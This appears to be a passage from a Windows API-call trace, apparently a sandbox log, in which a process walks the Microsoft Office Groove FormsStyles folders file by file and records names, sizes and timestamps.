ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.620] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.620] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0203.620] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0203.620] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0203.620] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0203.620] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.620] GetProcessHeap () returned 0x550000 [0203.621] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.621] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x11ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0203.621] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen", cAlternateFileName="SPRING~1")) returned 1 [0203.621] GetProcessHeap () returned 0x550000 [0203.621] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.622] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.622] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0203.622] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0203.623] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0203.623] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0203.623] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.623] GetProcessHeap () returned 0x550000 [0203.623] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.623] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="SPRING~1.CSS")) returned 1 [0203.623] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xadd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0203.623] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STS2", cAlternateFileName="")) returned 1 [0203.623] GetProcessHeap () returned 0x550000 [0203.623] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.626] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.626] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0203.626] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0203.626] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0203.626] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0203.627] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0203.627] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.627] GetProcessHeap () returned 0x550000 [0203.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.627] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0203.627] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl", cAlternateFileName="")) returned 1 [0203.627] GetProcessHeap () returned 0x550000 [0203.627] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.630] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.630] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0203.630] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6993, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0203.630] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0203.630] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0203.630] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0203.630] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0203.631] GetProcessHeap () returned 0x550000 [0203.631] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264a108 | out: hHeap=0x550000) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5acc63d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="Teal.css", cAlternateFileName="")) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="TexturedBlue.css", cAlternateFileName="TEXTUR~1.CSS")) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="VELVET~1.CSS")) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="VELVET~1.CSS")) returned 0 [0203.631] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0203.631] GetProcessHeap () returned 0x550000 [0203.631] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="FORMSV~1.JPG")) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="FORMSV~1.BMP")) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x164a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewFrame.html", cAlternateFileName="FORMSV~2.HTM")) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewTemplate.html", cAlternateFileName="FORMSV~3.HTM")) returned 1 [0203.631] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormToolImages.jpg", cAlternateFileName="FORMTO~1.JPG")) returned 1 [0203.632] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, 